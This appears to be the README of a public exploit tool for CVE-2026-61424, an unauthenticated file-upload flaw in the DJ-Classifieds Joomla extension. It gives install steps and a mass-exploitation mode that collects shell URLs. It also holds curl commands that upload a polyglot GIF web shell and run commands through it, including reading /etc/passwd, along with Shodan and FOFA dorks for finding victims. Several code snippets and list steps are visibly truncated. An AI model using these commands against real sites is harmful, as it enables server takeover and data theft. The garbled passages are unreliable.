Exploit for CVE-2026-61424

## https://sploitus.com/exploit?id=D8701BE2-1C74-52C5-9A36-8CDC6FBCFCAF
CVE-2026-61424 — DJ-Classifieds 
imageupload Task → No Auth → 3-String Filter Bypass (

---

## Overview

Unauthenticated arbitrary file upload in DJ-Classifieds for Joomla. The `imageupload` task endpoint processes file uploads **without authentication** and relies on a **3-string blocklist** (`
```

### Why the Security Filter Fails (3-String Bypass)

The content scanner only blocklists **three literal strings**:

```php
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/     ← 0/3 blocked strings → PASSES
```

PHP short echo tags (``
2. POST to `index.php?option=com_djclassifieds&task=imageupload` with `name=shell.gif`
3. Server checks: `.gif` extension ✓ `getimagesize()` ✓ no `.gif`
5. Access: `https://target.com/tmp/djupload/shell.gif?c=id`

### Verified Source Files

| File | Role |
|------|------|
| `administrator/components/com_djclassifieds/lib/djupload.php` | `upload()` method — no auth, 3-string filter |
| `components/com_djclassifieds/controller.php` | Routes `imageupload` task to `upload()` |
| `administrator/components/com_djclassifieds/djclassifieds.xml` | Version disclosure via `` tag |

### Server Log Evidence

Anonymous scanner probes observed in the wild before disclosure:

```
POST /index.php?option=com_djclassifieds&task=imageupload
  name=.gif  filename=.gif
  — no cookie, no session, no referer
```

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
```

---

## Usage

### Single Target

```bash
python cve_2026_61424.py -t target.com
```

### Mass Exploitation

```bash
python cve_2026_61424.py -f targets.txt -o shells.txt
```

### Arguments

| Flag | Description | Default |
|------|-------------|---------|
| `-t`, `--target` | Single target host | — |
| `-f`, `--file` | File with targets (one per line, `#` comments) | — |
| `-o`, `--output` | Save RCE URLs to file | — |
| `--threads` | Worker threads for mass mode | `30` |
| `--no-cleanup` | Do not delete shell after RCE | `False` |
| `--debug` | Debug output | `False` |

---

## Proof of Concept

### Single Target

```
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s
```

### Manual Exploitation

```bash
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
```

---

## FOFA / Shodan

```bash
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body=""

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
```

---

## The Fix (3.11.2)

1. **Added Joomla authentication** — `JFactory::getUser()` guest check before `upload()`
2. **Added CSRF token validation** — `JSession::checkToken()` on the `imageupload` task
3. **Restricted file types** — server-side image-only allowlist (`jpg`, `jpeg`, `png`, `gif`)
4. **Improved content scanning** — additional PHP pattern detection beyond the 3-string blocklist

---

## Impact

- **Full RCE** — execute arbitrary commands as the web server user
- **Persistent access** — shell remains until manually removed or directory cleaned
- **Content abuse** — upload and host arbitrary files on trusted domain
- **Disk exhaustion** — anonymous mass upload capability
- **Chained attacks** — polyglot image can be included via LFI elsewhere on the site

---

## Disclaimer

> This tool is for educational and authorized security testing only. Use against systems you own or have explicit permission to test. The author assumes no liability for misuse or damage.

---

## References

| Resource | Link |
|----------|------|
| IONIX Threat Center | [ionix.io/threat-center/cve-2026-61424](https://www.ionix.io/threat-center/cve-2026-61424/) |
| mySites.guru Discovery | [mysites.guru/blog/dj-classifieds-unauthenticated-file-upload](https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/) |
| DJ-Extensions Security Release | [dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release](https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release) |
| CVE.org Record | [cve.org/CVERecord?id=CVE-2026-61424](https://vulners.com/cve/CVE-2026-61424) |
| INCIBE-CERT | [incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424](https://www.incibe.es/index.php/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424) |

---


  Not affiliated with DJ-Extensions or mySites.guru.